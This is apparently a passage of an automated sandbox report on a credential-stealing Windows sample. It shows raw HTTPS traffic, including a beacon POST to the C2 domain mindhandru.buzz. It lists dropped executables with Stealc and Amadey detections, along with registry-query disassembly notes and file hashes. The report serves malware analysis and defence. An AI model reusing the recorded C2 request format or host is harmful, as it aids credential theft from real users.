40 2c 41 20 8e f2 6e ca f6 5f 49 1b c0 02 72 38 74 8e 0f 94 5b b9 ff f2 Data Ascii: \d/BJGlz;m#(aobSeL&)Dh$N]N\}am\|q7kS,{YDFIVT5H(Z%WWsS=1ekKO.*:{$4NH;olmrQ+=lG?Ayg`^/Z8@,A n_Ir8t[
2024-12-27 14:03:56 UTC	15331	OUT	Data Raw: 74 70 64 93 d8 fe ff ff c4 84 33 80 d3 76 f4 03 b2 b8 73 a8 5d 86 a8 0e fd c8 1f ef 7c b7 2e 6b cb 4f 54 9b 13 34 05 80 04 56 2a d5 3d 4f 8d b0 a0 a7 67 84 3e 7a b7 41 7f e8 c4 80 6f fa 93 d6 ee cf 0f f3 cd 04 79 b7 e6 ed 3f 19 51 ff 77 4b 4c 10 84 f8 2c 2e a2 81 36 fe 0a 0e bc 45 17 0a a0 86 c9 64 c9 7f 82 d3 b4 7d 12 37 8f d5 58 1a f3 fb ea 20 18 30 e0 04 39 47 96 da 8b a2 07 38 14 2a 0d 73 25 0f f7 4b 8d b8 c6 63 47 54 e9 02 18 6d 96 67 34 35 18 e0 d7 1f b3 c6 56 00 9f 8a f9 e0 71 91 37 5b 71 fb a6 ad d0 bc 76 3e 7c 66 ce 54 cd 89 53 9b cf 2a 52 8d 79 05 c7 c4 ef 41 b0 51 b7 fe fa 15 07 09 d4 f5 84 09 08 dc 20 e0 1a 70 f5 ca 51 21 bb a9 fc 00 c2 41 2b c4 bd a1 3b b9 76 ad 39 b3 64 17 1b 53 a7 11 ec 65 4b bc 07 e6 35 3a 89 90 74 b0 c6 18 9d b4 89 28 c0 Data Ascii: tpd3vs]\|.kOT4V=Og>zAoy?QwKL,.6Ed}7X 09G8s%KcGTmg45Vq7[qv>\|fTS*RyAQ pQ!A+;v9dSeK5:t(
2024-12-27 14:03:56 UTC	15331	OUT	Data Raw: c2 95 64 11 d2 ae f5 9b 46 da 6b 0e ea 99 7c 91 ce 23 27 23 e8 2f 6f 4a 4e 98 5a 7e 8a e6 df e0 f3 21 a0 6b af a3 09 67 f8 af 49 0a 3a ce eb d3 04 be da ff df 4b 6f ac e3 f4 4e 66 42 7c 4c 62 d9 4e 43 5e e6 5d 35 2f 41 c4 1b b3 e8 b1 c6 44 c0 b0 3b 0a f2 0f cf a8 40 f9 bf cc 98 ee 0e c3 17 af 7e 11 ad dc 79 b3 98 ad 81 80 c8 2f ae a9 a7 bd 59 57 f3 c3 19 09 f9 4b 35 13 2e 53 f0 44 6d 13 a9 02 ad 2e 60 d9 ba 23 f4 28 0c c3 d4 a0 18 b5 42 53 9c b7 fb f5 e5 22 95 94 09 00 3b 39 7a c7 f9 1b 43 be b3 03 3d 3d a4 0f b8 ce 1f 18 ad 09 ef b9 2d e0 18 b4 f0 6a de 5e 85 d8 42 cf f2 18 ac 94 1b 2c b9 eb 92 2f b6 30 10 26 15 e9 dd ac dc 31 b6 54 ac 4d 8f a2 d6 cd 7a e4 85 20 dc 0b 18 fb 73 7d ec 15 61 10 e2 3d 37 2b 0f 87 f9 41 af 35 93 26 3e ec 49 81 45 1d 3f 51 25 Data Ascii: dFk\|#'#/oJNZ~!kgI:KoNfB\|LbNC^]5/AD;@~y/YWK5.SDm.`#(BS";9zC==-j^B,/0&1TMz s}a=7+A5&>IE?Q%
2024-12-27 14:03:59 UTC	1137	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:03:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c4u7uk2o60p9qd4i0klusl6ej9; expires=Tue, 22 Apr 2025 07:50:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ue5kwL%2Bpp%2BtKNgLeK%2FC18FHNTU94GrQAA1DJaNk2ogqhAcF%2BSMmlmevKn%2BIXPmpdQh6McUb4F2v0kEvIAk0JmwWSbW5JdDGSashjpCqJpkiUOYWENNq%2Bw33CENroaaFJZbM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89db5c8a5b0cc4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1473&min_rtt=1464&rtt_var=568&sent=326&recv=571&lost=0&retrans=0&sent_bytes=2837&recv_bytes=552713&delivery_rate=1896103&cwnd=147&unsent_bytes=0&cid=5e61557081422081&ts=3403&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49741	172.67.165.185	443	6836	C:\Users\user\Desktop\o0cabS0OQn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:04:01 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: mindhandru.buzz
2024-12-27 14:04:01 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 34 41 46 46 35 37 46 30 41 30 32 46 30 37 32 44 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=4AFF57F0A02F072DBEBA0C6A975F1733
2024-12-27 14:04:01 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:04:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c0j75rq5glbuh4v58gsms0ugi9; expires=Tue, 22 Apr 2025 07:50:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H7gKUSaBn5nSbfKghewOk%2FHwAQdx4US9s57wDYNtO1%2Fxr1QKrSfWiZsj30y1bgk4tp8d7izZ%2F78sFTLiNaNYkZ6h3RhKJuPTSVcvabLcKpsfTV36GnF7tnZkh4lS7R6R%2FPo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89db7c6db042d3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2180&min_rtt=2180&rtt_var=818&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=981&delivery_rate=1338221&cwnd=246&unsent_bytes=0&cid=0af85f30096ea439&ts=790&x=0"
2024-12-27 14:04:01 UTC	222	IN	Data Raw: 64 38 0d 0a 56 65 63 51 64 53 61 51 4d 45 51 43 73 67 64 72 35 67 53 77 78 76 79 48 72 36 64 65 44 4c 45 65 75 38 58 58 46 70 47 35 79 49 34 4f 6e 44 49 41 42 4b 6f 53 4c 48 62 47 64 31 47 36 4b 2b 7a 70 7a 62 2b 61 69 57 77 39 68 44 43 4b 39 4f 51 34 6f 49 2b 55 6f 53 61 54 64 52 52 4c 7a 42 38 32 59 39 78 6a 42 49 73 71 31 62 36 5a 70 59 4f 46 4f 48 69 54 4a 49 76 70 39 58 4f 7a 67 2f 6a 7a 65 5a 77 79 41 41 53 71 45 69 78 32 78 6e 64 52 75 69 76 73 36 63 32 2f 6d 6f 6c 73 50 59 51 77 69 76 54 6b 4f 4b 43 50 6c 4b 45 34 6a 6e 34 51 65 72 39 43 4a 57 7a 57 61 41 62 49 59 63 69 6a 33 71 75 4e 77 53 6f 75 69 79 36 58 35 37 49 30 71 34 6d 31 30 77 3d 3d 0d 0a Data Ascii: d8VecQdSaQMEQCsgdr5gSwxvyHr6deDLEeu8XXFpG5yI4OnDIABKoSLHbGd1G6K+zpzb+aiWw9hDCK9OQ4oI+UoSaTdRRLzB82Y9xjBIsq1b6ZpYOFOHiTJIvp9XOzg/jzeZwyAASqEix2xndRuivs6c2/molsPYQwivTkOKCPlKE4jn4Qer9CJWzWaAbIYcij3quNwSouiy6X57I0q4m10w==
2024-12-27 14:04:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	09:03:36
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\o0cabS0OQn.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\o0cabS0OQn.exe"
Imagebase:	0x620000
File size:	1'865'728 bytes
MD5 hash:	80EF44E8078DD87D1399FC27FAD67B01
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1838712812.0000000001091000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1838635354.000000000108C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:04:18
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe"
Imagebase:	0x6f0000
File size:	5'104'640 bytes
MD5 hash:	E8986E2F122CDFCFED4853174606574F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2165224725.00000000013EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2163510853.00000000006F1000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:04:29
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe"
Imagebase:	0x760000
File size:	3'209'216 bytes
MD5 hash:	023D3E22C2DF966B7EC6B1950A2FBC95
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 57%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:04:33
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xec0000
File size:	3'209'216 bytes
MD5 hash:	023D3E22C2DF966B7EC6B1950A2FBC95
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2335074670.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 57%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:04:33
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xec0000
File size:	3'209'216 bytes
MD5 hash:	023D3E22C2DF966B7EC6B1950A2FBC95
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.2333305676.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:05:00
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xec0000
File size:	3'209'216 bytes
MD5 hash:	023D3E22C2DF966B7EC6B1950A2FBC95
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.2935256752.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Function 0563501B Relevance: 1.7, Strings: 1, Instructions: 437COMMON

Download Yara Rule

Strings

a, xrefs: 0563534F

Memory Dump Source

Source File: 00000000.00000003.1838894981.0000000005630000.00000004.00000800.00020000.00000000.sdmp, Offset: 0562C000, based on PE: false

Associated: 00000000.00000003.1860777810.000000000562C000.00000004.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_5630000_o0cabS0OQn.jbxd

Similarity

API ID:
String ID: a
API String ID: 0-3904355907
Opcode ID: 44d3706349b0670a3eb1b3a5e4f3921fc4922684c4c4188e6405220f2b9dcaee
Instruction ID: c3fab237e87f5ff5b4ff533732d944618a9be958b66c357429a41ef7145d16b4
Opcode Fuzzy Hash: 44d3706349b0670a3eb1b3a5e4f3921fc4922684c4c4188e6405220f2b9dcaee
Instruction Fuzzy Hash: 78F16BB284E7C05FE3538B7099667517FB0AF23214F5E41DBC482CB1A3E2AD594AC726

Function 0563501B Relevance: 1.7, Strings: 1, Instructions: 437COMMON

Download Yara Rule

Strings

a, xrefs: 0563534F

Memory Dump Source

Source File: 00000000.00000003.1838894981.0000000005630000.00000004.00000800.00020000.00000000.sdmp, Offset: 05630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_5630000_o0cabS0OQn.jbxd

Similarity

API ID:
String ID: a
API String ID: 0-3904355907
Opcode ID: 44d3706349b0670a3eb1b3a5e4f3921fc4922684c4c4188e6405220f2b9dcaee
Instruction ID: c3fab237e87f5ff5b4ff533732d944618a9be958b66c357429a41ef7145d16b4
Opcode Fuzzy Hash: 44d3706349b0670a3eb1b3a5e4f3921fc4922684c4c4188e6405220f2b9dcaee
Instruction Fuzzy Hash: 78F16BB284E7C05FE3538B7099667517FB0AF23214F5E41DBC482CB1A3E2AD594AC726

Function 0563501B Relevance: 1.7, Strings: 1, Instructions: 437COMMON

Download Yara Rule

Strings

a, xrefs: 0563534F

Memory Dump Source

Source File: 00000000.00000003.1838894981.0000000005630000.00000004.00000800.00020000.00000000.sdmp, Offset: 0562D000, based on PE: false

Associated: 00000000.00000003.1860777810.000000000562C000.00000004.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_5630000_o0cabS0OQn.jbxd

Similarity

API ID:
String ID: a
API String ID: 0-3904355907
Opcode ID: 44d3706349b0670a3eb1b3a5e4f3921fc4922684c4c4188e6405220f2b9dcaee
Instruction ID: c3fab237e87f5ff5b4ff533732d944618a9be958b66c357429a41ef7145d16b4
Opcode Fuzzy Hash: 44d3706349b0670a3eb1b3a5e4f3921fc4922684c4c4188e6405220f2b9dcaee
Instruction Fuzzy Hash: 78F16BB284E7C05FE3538B7099667517FB0AF23214F5E41DBC482CB1A3E2AD594AC726

Analysis Process: ECPOM47708SKW2N887NP33WQCGSG.exePID: 6352, Parent PID: 6836COMMON

Execution Graph

Execution Coverage:	4.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.4%
Total number of Nodes:	559
Total number of Limit Nodes:	19

Executed Functions

Function 00765C83 Relevance: 20.8, APIs: 3, Strings: 8, Instructions: 1535registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,?,00000000,00000001,331BDFAA,331BDFAA), ref: 00765DCC
RegQueryValueExA.KERNEL32(331BDFAA,?,00000000,00000000,?,00000400,?,?,00000000,00000001,331BDFAA,331BDFAA), ref: 00765DFA
RegCloseKey.KERNEL32(331BDFAA,?,?,00000000,00000001,331BDFAA,331BDFAA), ref: 00765E06

Strings

stoi argument out of range, xrefs: 00767081
00000423, xrefs: 007660FA
00000419, xrefs: 00766098
VUUU, xrefs: 00766F41
0000043f, xrefs: 0076612B
invalid stoi argument, xrefs: 00767090
00000422, xrefs: 007660C9
Keyboard Layout\Preload, xrefs: 00766054

Memory Dump Source

Source File: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp, Offset: 00760000, based on PE: true

Associated: 00000005.00000002.2294375676.0000000000760000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294419353.00000000007C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294570330.00000000007C9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294616265.00000000007CB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294659895.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294922477.0000000000928000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294982449.000000000092A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295089986.0000000000941000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295189425.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.0000000000945000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.000000000094D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295342031.0000000000955000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295388882.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295434841.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295465475.0000000000958000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295537926.0000000000968000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295574022.0000000000969000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295637127.000000000097B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295668453.000000000097D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295722717.000000000097E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295769191.000000000097F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295817924.0000000000987000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295869755.0000000000991000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295925431.00000000009A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295996034.00000000009A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296039350.00000000009A9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296068701.00000000009AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296098655.00000000009B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296135068.00000000009B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296167571.00000000009B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296210889.00000000009B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296242416.00000000009B9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296279780.00000000009C0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296310618.00000000009C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296341537.00000000009C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296369732.00000000009CF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296397735.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296435745.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296500520.00000000009D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296548650.00000000009E0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296596787.00000000009E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296627211.00000000009E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296661578.00000000009EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296697593.00000000009FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296730490.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296762599.0000000000A0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A2D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296873207.0000000000A43000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296907625.0000000000A45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296943274.0000000000A59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296974941.0000000000A5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297009123.0000000000A5B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297040999.0000000000A5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297074464.0000000000A61000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297110804.0000000000A6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297144690.0000000000A70000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_760000_ECPOM47708SKW2N887NP33WQCGSG.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload$VUUU$invalid stoi argument$stoi argument out of range
API String ID: 3677997916-1112634906
Opcode ID: 1b4156e39689e3c8edf6ef2a69e69780442b3a95ee4f60ea1423e136a92d7ba5
Instruction ID: 36f9d6f0e12be207bca7b052a904483b2325f2486207af798c44092377d7fb69
Opcode Fuzzy Hash: 1b4156e39689e3c8edf6ef2a69e69780442b3a95ee4f60ea1423e136a92d7ba5
Instruction Fuzzy Hash: BDC21871A00118DBDF28DF68CC89BDDB775EF45304F508299F80AE7282DB79AA84CB55

Function 0076735A Relevance: 2.5, APIs: 1, Instructions: 1031
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp, Offset: 00760000, based on PE: true

Associated: 00000005.00000002.2294375676.0000000000760000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294419353.00000000007C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294570330.00000000007C9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294616265.00000000007CB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294659895.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294922477.0000000000928000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294982449.000000000092A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295089986.0000000000941000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295189425.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.0000000000945000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.000000000094D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295342031.0000000000955000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295388882.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295434841.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295465475.0000000000958000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295537926.0000000000968000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295574022.0000000000969000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295637127.000000000097B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295668453.000000000097D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295722717.000000000097E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295769191.000000000097F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295817924.0000000000987000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295869755.0000000000991000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295925431.00000000009A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295996034.00000000009A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296039350.00000000009A9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296068701.00000000009AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296098655.00000000009B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296135068.00000000009B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296167571.00000000009B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296210889.00000000009B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296242416.00000000009B9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296279780.00000000009C0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296310618.00000000009C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296341537.00000000009C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296369732.00000000009CF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296397735.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296435745.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296500520.00000000009D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296548650.00000000009E0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296596787.00000000009E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296627211.00000000009E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296661578.00000000009EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296697593.00000000009FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296730490.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296762599.0000000000A0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A2D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296873207.0000000000A43000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296907625.0000000000A45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296943274.0000000000A59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296974941.0000000000A5A000.00000040.00000001.01000000.00000008.sdmpDownload File
